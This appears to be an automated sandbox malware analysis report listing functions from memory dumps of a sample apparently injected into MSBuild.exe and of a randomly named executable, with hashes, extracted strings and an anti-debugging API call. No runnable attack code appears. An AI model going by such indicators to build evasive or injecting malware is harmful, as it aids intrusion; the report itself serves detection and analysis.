Instruction ID: baad53eb54d685fc5fbe815f8a1f935e7ca40effeb3884be38c1f58d79e2e34c
Opcode Fuzzy Hash: 66da9e1ccd523e6e3ff0c6f41da1a23c45d7945d5c8ef4ee52b42c8ab4611b87
Instruction Fuzzy Hash: AC517430B1011A9FDB54EB74EA60BAE77F6EF89210F14856DD409E7398EA31DC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 015170A0 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 0151711F

Memory Dump Source

Source File: 00000008.00000002.2075920176.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1510000_MSBuild.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 77eaf464c2c9dd0acd2e6a851ef54067eba6ba1b11c7b6d4f2be28423f33e706
Instruction ID: cfc5ca5cb77e503625f23f7feff4d400ce983890767a9d1e0fb964a66a4091b8
Opcode Fuzzy Hash: 77eaf464c2c9dd0acd2e6a851ef54067eba6ba1b11c7b6d4f2be28423f33e706
Instruction Fuzzy Hash: 6E2169B2800259CFDB10CFA9D884BEEFBF4EF59320F24846AD455A7251D7789945CF60

Uniqueness

Uniqueness Score: -1.00%

Function 069C7DA0 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

XPjq, xrefs: 069C7EDD

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: XPjq
API String ID: 0-4216394854
Opcode ID: 407a72dcbac26f1fbbcf6dc6617749e33a099a7bc42db22b32f21cacb7050db7
Instruction ID: 97631315e622dde33c194ee1d38e787e21573d1ad317cd202b10393e7484ebc9
Opcode Fuzzy Hash: 407a72dcbac26f1fbbcf6dc6617749e33a099a7bc42db22b32f21cacb7050db7
Instruction Fuzzy Hash: 79417F74B002099FDB55DFA5C854BAEBBF6FF88300F20852AE505AB3A5DB749C058F91

Uniqueness

Uniqueness Score: -1.00%

Function 069C5840 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PHeq, xrefs: 069C597B

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: PHeq
API String ID: 0-2873676430
Opcode ID: 7286f2d5cbe4986d95015d331cfacb02bfa432cc19ef611a6b7fd0de10f37609
Instruction ID: 5746a18ff751ea52d0136b580c2e1a6f06f96c757ad7992792a12a1875126b81
Opcode Fuzzy Hash: 7286f2d5cbe4986d95015d331cfacb02bfa432cc19ef611a6b7fd0de10f37609
Instruction Fuzzy Hash: 6F31E0B0B002058FCB55AB34D52466F7BABEF89620F64486CD406EB3A9EE31EC45C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 069CB90E Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

$eq, xrefs: 069CB933

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq
API String ID: 0-731066626
Opcode ID: d944131af0ccdd359ffd0daa03dd6ac65794bc50e5e480b104c531d83b2050f9
Instruction ID: 591c00f8686dad98a52b5c6d9bbaad794c7d5a2199cc042eec1f2796efd97f96
Opcode Fuzzy Hash: d944131af0ccdd359ffd0daa03dd6ac65794bc50e5e480b104c531d83b2050f9
Instruction Fuzzy Hash: 91F0A036A18219CFDFA44F41EAA22657369AB60278B2404AACE01D796CC331C904CA92

Uniqueness

Uniqueness Score: -1.00%

Function 069C7C99 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

\Ojq, xrefs: 069C7CA5

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: \Ojq
API String ID: 0-1665755004
Opcode ID: 7dee43a3fb7e98856e607428996980472c1893c8f787bfbfaa4840e1ee2de0c8
Instruction ID: 8b0c1832cabe7fc270fd634a8e5e04ac7160fe62cd085846173182676289ec6b
Opcode Fuzzy Hash: 7dee43a3fb7e98856e607428996980472c1893c8f787bfbfaa4840e1ee2de0c8
Instruction Fuzzy Hash: C3F0F870A5012AEFDB14DF94E859BAEBBB6FF88710F20451AE402AB394CB741C05CF81

Uniqueness

Uniqueness Score: -1.00%

Function 069C74E0 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9db9bda26e475392f1a69c13b3663e6ca6807f399796a39cb000ed8ecd86e270
Instruction ID: 812165a44971901a7b3e30cd9a7212efb0d4368a6dc38d24da1dd0a244f0e095
Opcode Fuzzy Hash: 9db9bda26e475392f1a69c13b3663e6ca6807f399796a39cb000ed8ecd86e270
Instruction Fuzzy Hash: B7916F30B106098BDF54DBB9D6907AEB7B6EF85310F248429D50ADF398EB34DC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 069C9408 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7afad912e5d6dc0d3e13f6d69f9dff39c0c76c45ba913215156baccdcab1cd43
Instruction ID: 678b0c0804a91cd68bebae712a409815fe788aecbb1c412bdb70bdce5249c322
Opcode Fuzzy Hash: 7afad912e5d6dc0d3e13f6d69f9dff39c0c76c45ba913215156baccdcab1cd43
Instruction Fuzzy Hash: 5461A171F005214FCB559B6ED88066FBADBAFD4220B254439E80EDB364DE69DD0287D2

Uniqueness

Uniqueness Score: -1.00%

Function 069C7800 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb43b5260457fa518c225ba157b4d1778e564f45e7f883a18deee0b517a23795
Instruction ID: c411722ea59c2408cc77f44904fde5c6995b09ab152e9bda0621e89b4317e581
Opcode Fuzzy Hash: cb43b5260457fa518c225ba157b4d1778e564f45e7f883a18deee0b517a23795
Instruction Fuzzy Hash: D4914D70E006198FDF60DFA8C890B9DB7B1FF89310F208699D549BB295DB70AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 069C7818 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd8cab9014b6d1779901bbbb6640e9c9ccc88840030a0af3db84a2af89c1686b
Instruction ID: 001e2c6a9bb73e71a2a413abb79ab22146dcf16ed343fb49d1e3345a24455a77
Opcode Fuzzy Hash: bd8cab9014b6d1779901bbbb6640e9c9ccc88840030a0af3db84a2af89c1686b
Instruction Fuzzy Hash: 03913E74E0061A8BDF60DFA8C880B9DB7B1FF89310F208599D549BB295DB70AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 069C8658 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c44828f9b434abeddd63a2aad275868b2e811cc39f0edd5924992d6ee986fab
Instruction ID: 61180e75c98fa191f21142dc0df0960c00d137e949b694ded862d9a078822f02
Opcode Fuzzy Hash: 1c44828f9b434abeddd63a2aad275868b2e811cc39f0edd5924992d6ee986fab
Instruction Fuzzy Hash: 31418275E006059FDB60CFA9DA80AAFFBBAFB84320F20492ED115D7650D330E9459B92

Uniqueness

Uniqueness Score: -1.00%

Function 069C56F0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf54db675ba8b4cdca61511760cad39e43ea3a1df17d49481606d67f58879b4
Instruction ID: 0fe562976bf5924c88cb58b302e69689a35b1cf0785631ea9d32d0b846388592
Opcode Fuzzy Hash: ccf54db675ba8b4cdca61511760cad39e43ea3a1df17d49481606d67f58879b4
Instruction Fuzzy Hash: 20319034E102059BCB55CF64C994A9EB7B6FF89310F21C51DE806EB750EB70AC82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 069C5700 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ee264f7a6e30a38ee5dfaedefcf8dc02c81dfc8274666281d4a4d0a60721c36
Instruction ID: dd7353345b02c55a5eecfada8437f05e50457c0bbd855884df6c18de4afb2c49
Opcode Fuzzy Hash: 9ee264f7a6e30a38ee5dfaedefcf8dc02c81dfc8274666281d4a4d0a60721c36
Instruction Fuzzy Hash: 88318034E10606DBCB59CFA4C994A9EB7F6EF89310F21C529E806E7754EB70AC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 069C70E8 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92a0d3450818ca849f6dc829c7d086dc6a22d83e70682a494df3d34a2a8aaf33
Instruction ID: 8021af28214f57c289afdc3496e44c41c89a1e5ad955a057e22dea8fea7bf70f
Opcode Fuzzy Hash: 92a0d3450818ca849f6dc829c7d086dc6a22d83e70682a494df3d34a2a8aaf33
Instruction Fuzzy Hash: 43217C75F112199FDB40DFA9D991AAEBBF5EB48360F148029E905EB394DB31D9008FA0

Uniqueness

Uniqueness Score: -1.00%

Function 069C70F8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf27d3bddcf252b1e4bb1afe3afc5cfe0fc6613b40f8094ea250121126a4f1b
Instruction ID: e6828c7c9d68be0da57412e1c00454291cd2e7f27d69d145391adcc46281e7f5
Opcode Fuzzy Hash: ebf27d3bddcf252b1e4bb1afe3afc5cfe0fc6613b40f8094ea250121126a4f1b
Instruction Fuzzy Hash: 67218B71F112199FDB40DFA9DA90AAEB7F5EB48220F148029E901EB394EB30DD008B90

Uniqueness

Uniqueness Score: -1.00%

Function 069C743F Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acf150400a9a59409ea5629548e65a4ca71dd18e32c07d3c0a8e377dbd5aae07
Instruction ID: 9a4f72f08ed60550119432cffe6153e5f226a448f6af7b3a3429ddeacff0bfdd
Opcode Fuzzy Hash: acf150400a9a59409ea5629548e65a4ca71dd18e32c07d3c0a8e377dbd5aae07
Instruction Fuzzy Hash: FC01B130B041104FDB6196BC94607ABBBEBDBDA721F24853EE50ACB795D925CC064791

Uniqueness

Uniqueness Score: -1.00%

Function 069C7208 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f206123e630a985389687aa94f3fed9be4ee1caca4eb76b894231f6a13930f7
Instruction ID: 019ac6cc4710794bb722aeb3dc84bb78520c06e71b171595960aa9469a844b26
Opcode Fuzzy Hash: 9f206123e630a985389687aa94f3fed9be4ee1caca4eb76b894231f6a13930f7
Instruction Fuzzy Hash: 62116131F105294BDF5496A8D9246AE73EEEBC9221F104539E906EB358EE35DC028BE1

Uniqueness

Uniqueness Score: -1.00%

Function 069CD919 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e9cde59810f70792856f9115d0c21aa1d1109d1f90bcfc898a345af5e03629
Instruction ID: 0a2c1e3ae61034f5466ae21a3aa12a0035b57e092669d0f345d71f2173e70c8f
Opcode Fuzzy Hash: d9e9cde59810f70792856f9115d0c21aa1d1109d1f90bcfc898a345af5e03629
Instruction Fuzzy Hash: 7A0124707012110FC751AB38D9B0B6BB7DADF86720F20853DE44EC7355DA25DC058382

Uniqueness

Uniqueness Score: -1.00%

Function 069C6EC1 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf9ebbb669e6d84b27c0e308aea70d48ed145d22924f9670de5012a153087dbe
Instruction ID: 1e5b6c3472f9629b6fc975a257d275594e71aa96ba0445e27600a5479b191ae8
Opcode Fuzzy Hash: cf9ebbb669e6d84b27c0e308aea70d48ed145d22924f9670de5012a153087dbe
Instruction Fuzzy Hash: CD21C2B5D01259AFDB10CF9AD884ADEFFF8FB48320F10812AE518A7241C375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 069C71F8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0e531207c8a3ff49ffa96262297bb84c03b5c59bbf8da0e52cffb1858d1b913
Instruction ID: 3ac8f181dae5df82b293ba1366e4d56cc06574ea8d89b19cd29b77a900124ee0
Opcode Fuzzy Hash: b0e531207c8a3ff49ffa96262297bb84c03b5c59bbf8da0e52cffb1858d1b913
Instruction Fuzzy Hash: 6C018472F104154BDF5495A8A9306FB73EF9BC8221F20403AE50AE7758EE24CC024BD2

Uniqueness

Uniqueness Score: -1.00%

Function 069C6EC8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 458c251dd6b674b4e801695f5801840690c565f05615f9bbddb6a42c8374867f
Instruction ID: 504c8e7ea7291c159dea494996f953cdc336b53f60a2d5a16569ecc8c6aa7812
Opcode Fuzzy Hash: 458c251dd6b674b4e801695f5801840690c565f05615f9bbddb6a42c8374867f
Instruction Fuzzy Hash: 6811D3B5D002599FCB10CF9AD884ADEFBF8FB48320F10812AE518A7200C3746944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 069C7450 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46930b2350c00234eb06f62db32ae330a54206ca21d9ab2ae5f0d7e5aac730a8
Instruction ID: 64c8613dd6e5b1ff2fff8740361a740572ae97207371af034f32d6332bfbb7ea
Opcode Fuzzy Hash: 46930b2350c00234eb06f62db32ae330a54206ca21d9ab2ae5f0d7e5aac730a8
Instruction Fuzzy Hash: C101A930B004144BDB659ABD9460B6AB7DFCBC9630F20883EE60ECB784ED25DC024782

Uniqueness

Uniqueness Score: -1.00%

Function 069CD928 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 596de02cb22e22b813c189f74741e3e0b658b2f3b9db3f6bbe0957a1a0078c1f
Instruction ID: ad5c8adc4b8bf6dfca96b7b52aed7a4dbab7be6008c0863e6791fba3878a63e0
Opcode Fuzzy Hash: 596de02cb22e22b813c189f74741e3e0b658b2f3b9db3f6bbe0957a1a0078c1f
Instruction Fuzzy Hash: ED01AF74B111154BDB65EB68D5B0B2AB3DADF89620F20893DE10ED7358EA25EC068782

Uniqueness

Uniqueness Score: -1.00%

Function 069C9A91 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb36a10c1b24f47496e14d87e60db58a6d32d1bd47af77d8f4522fd9227b63a1
Instruction ID: af3fbed920b5f518329843511a4b0edbed729b50ac2d692b621c118bf7d2a9ed
Opcode Fuzzy Hash: eb36a10c1b24f47496e14d87e60db58a6d32d1bd47af77d8f4522fd9227b63a1
Instruction Fuzzy Hash: 47E09270D19208AFDF50DB748A0179B7BBDEB82324F3184ADE485CB642E636CE0187D2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 069CACB8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$eq, xrefs: 069CADB4
$eq, xrefs: 069CB21A
$eq, xrefs: 069CB204
$eq, xrefs: 069CADA8
$eq, xrefs: 069CB171
$eq, xrefs: 069CB165
$eq, xrefs: 069CADD9
$eq, xrefs: 069CB210
$eq, xrefs: 069CADE5
$eq, xrefs: 069CB226

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-2049195972
Opcode ID: 7915fbfd5862dc7f76d151ccc045d4ef50931449488fcf95f8f468f4e032129b
Instruction ID: ea4d54d368549547024778a42f0e2ed90e1613e20c2cba13b1b3192eb29d0285
Opcode Fuzzy Hash: 7915fbfd5862dc7f76d151ccc045d4ef50931449488fcf95f8f468f4e032129b
Instruction Fuzzy Hash: 41124D30E0121ACFDB64DF65C954AAEB7B6FF88310F20856DD409AB269DB309D85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 069CDF48 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$eq, xrefs: 069CE106
$eq, xrefs: 069CE0A5
$eq, xrefs: 069CE099
$eq, xrefs: 069CE04A
$eq, xrefs: 069CE0D0
$eq, xrefs: 069CE0FA
$eq, xrefs: 069CE0C4
$eq, xrefs: 069CE03E

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-1110479544
Opcode ID: 9b8692c4744dc4e10c78f4a1a7728ec9724fb1d91a69df2434d17328aed1eff6
Instruction ID: 92e2fa5a96e4e89898b3c89308691e15cceb5083ad683ab1a730131ad756a4f9
Opcode Fuzzy Hash: 9b8692c4744dc4e10c78f4a1a7728ec9724fb1d91a69df2434d17328aed1eff6
Instruction Fuzzy Hash: A191A030A1020ADFEB65DF64D994BAE7BB6BF84310F20852DE40297694DB749D41CB92

Uniqueness

Uniqueness Score: -1.00%

Function 069CA6B8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$eq, xrefs: 069CAB54
.5}q, xrefs: 069CA713
$eq, xrefs: 069CABCC
$eq, xrefs: 069CA99A
$eq, xrefs: 069CABC0
$eq, xrefs: 069CA9F4
$eq, xrefs: 069CAA00

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: .5}q$$eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-1622854337
Opcode ID: 6acc7669e0ad39ecffc7ee005adbc4b60de0675aa88fdff174aeeebf46be5cd1
Instruction ID: 663420b29cb4ed4553702d269e6cee1990c8822549dc8e45f7fa11818e96027b
Opcode Fuzzy Hash: 6acc7669e0ad39ecffc7ee005adbc4b60de0675aa88fdff174aeeebf46be5cd1
Instruction Fuzzy Hash: C6F13D30B1020ECFDB55EB64D594A6EB7B2FF84310F24856DD4169B399CB35AC82CB81

Uniqueness

Uniqueness Score: -1.00%

Function 069CB9F0 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$eq, xrefs: 069CBCBB
$eq, xrefs: 069CBC56
$eq, xrefs: 069CBCAF
$eq, xrefs: 069CBC4A

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq
API String ID: 0-812946093
Opcode ID: f4e0909bd27482274a5473a3e1a9ddc108966d9fc06a6481b76b888053f63f59
Instruction ID: 739d0304bcee8365b3dcea6647096c14c6bea363ca3876ccc174ba6b0f40f0d6
Opcode Fuzzy Hash: f4e0909bd27482274a5473a3e1a9ddc108966d9fc06a6481b76b888053f63f59
Instruction Fuzzy Hash: 0EB14C70A002098FDB65DF68D59169EB7B6FF84310F24882ED406DB7A8DB75DC86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 069CBE08 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$eq, xrefs: 069CBE87
$eq, xrefs: 069CBE93
LReq, xrefs: 069CBEFB
LReq, xrefs: 069CBF4A

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: LReq$LReq$$eq$$eq
API String ID: 0-731573373
Opcode ID: 272649c84ce39fb31e4d82e4f85ecc9dee128dff8a16d763d62aade5e19ad243
Instruction ID: 348d2c6dd8efa66a548228baaa6eae1569dd033d97062496207feeae24f44f5d
Opcode Fuzzy Hash: 272649c84ce39fb31e4d82e4f85ecc9dee128dff8a16d763d62aade5e19ad243
Instruction Fuzzy Hash: DD51D030B00205DFDB54EB24D9A1A6EB7A6FF84710F14896DE516DB3A9DA30EC44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 069CE2D1 Relevance: 5.2, Strings: 4, Instructions: 163COMMON

Download Yara Rule

Strings

$eq, xrefs: 069CE454
$eq, xrefs: 069CE4AC
$eq, xrefs: 069CE483
$eq, xrefs: 069CE401

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq
API String ID: 0-812946093
Opcode ID: 7c946578a60ec071447ecb6cc2f10ccf99e3493c329c0f843055efcbb9e07872
Instruction ID: 3d60715c0be043a138cdbc719f325030c6a87b08da381fef964ce7d57a250861
Opcode Fuzzy Hash: 7c946578a60ec071447ecb6cc2f10ccf99e3493c329c0f843055efcbb9e07872
Instruction Fuzzy Hash: CA51AF30A102059BDF65DB68D5906AEB7BAFF85320F24892DE417DB794DB30EC41CB92

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CNqCubHKvlzbGo.exePID: 5988, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	54
Total number of Limit Nodes:	2

Executed Functions

Function 051F7790 Relevance: 4.0, Strings: 3, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teeq, xrefs: 051F7859
Teeq, xrefs: 051F7A1E
)", xrefs: 051F789A

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: Teeq$Teeq$)"
API String ID: 0-1356520842
Opcode ID: a99e48754e334801a740424854c98dcc73536628fae30a307a31b149465c12aa
Instruction ID: 0e498a1848835bd0fd916a317be0bf1adac90d5684561a8ec5934aac7736cd12
Opcode Fuzzy Hash: a99e48754e334801a740424854c98dcc73536628fae30a307a31b149465c12aa
Instruction Fuzzy Hash: CFC148B1E052488FDB04CFAAD884ADEFBF2FF89310F14846AD515AB295D734A945CF60

Uniqueness

Uniqueness Score: -1.00%

Function 051F77F0 Relevance: 4.0, Strings: 3, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teeq, xrefs: 051F7859
Teeq, xrefs: 051F7A1E
)", xrefs: 051F789A

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: Teeq$Teeq$)"
API String ID: 0-1356520842
Opcode ID: 859abe4f16cae6e2776313ca175c5fcb780ca117101936c958e0333d81fd920a
Instruction ID: f09aa11a1a72ae8010abf7b86d08512f25c13270d1370b673a4d86f2d82840c1
Opcode Fuzzy Hash: 859abe4f16cae6e2776313ca175c5fcb780ca117101936c958e0333d81fd920a
Instruction Fuzzy Hash: 3381D474E012098FDB48CFAAD9849EEFBB2FF88310F24942AD516AB254D7345945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 051F994D Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

tIh, xrefs: 051F9D45

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: tIh
API String ID: 0-443931868
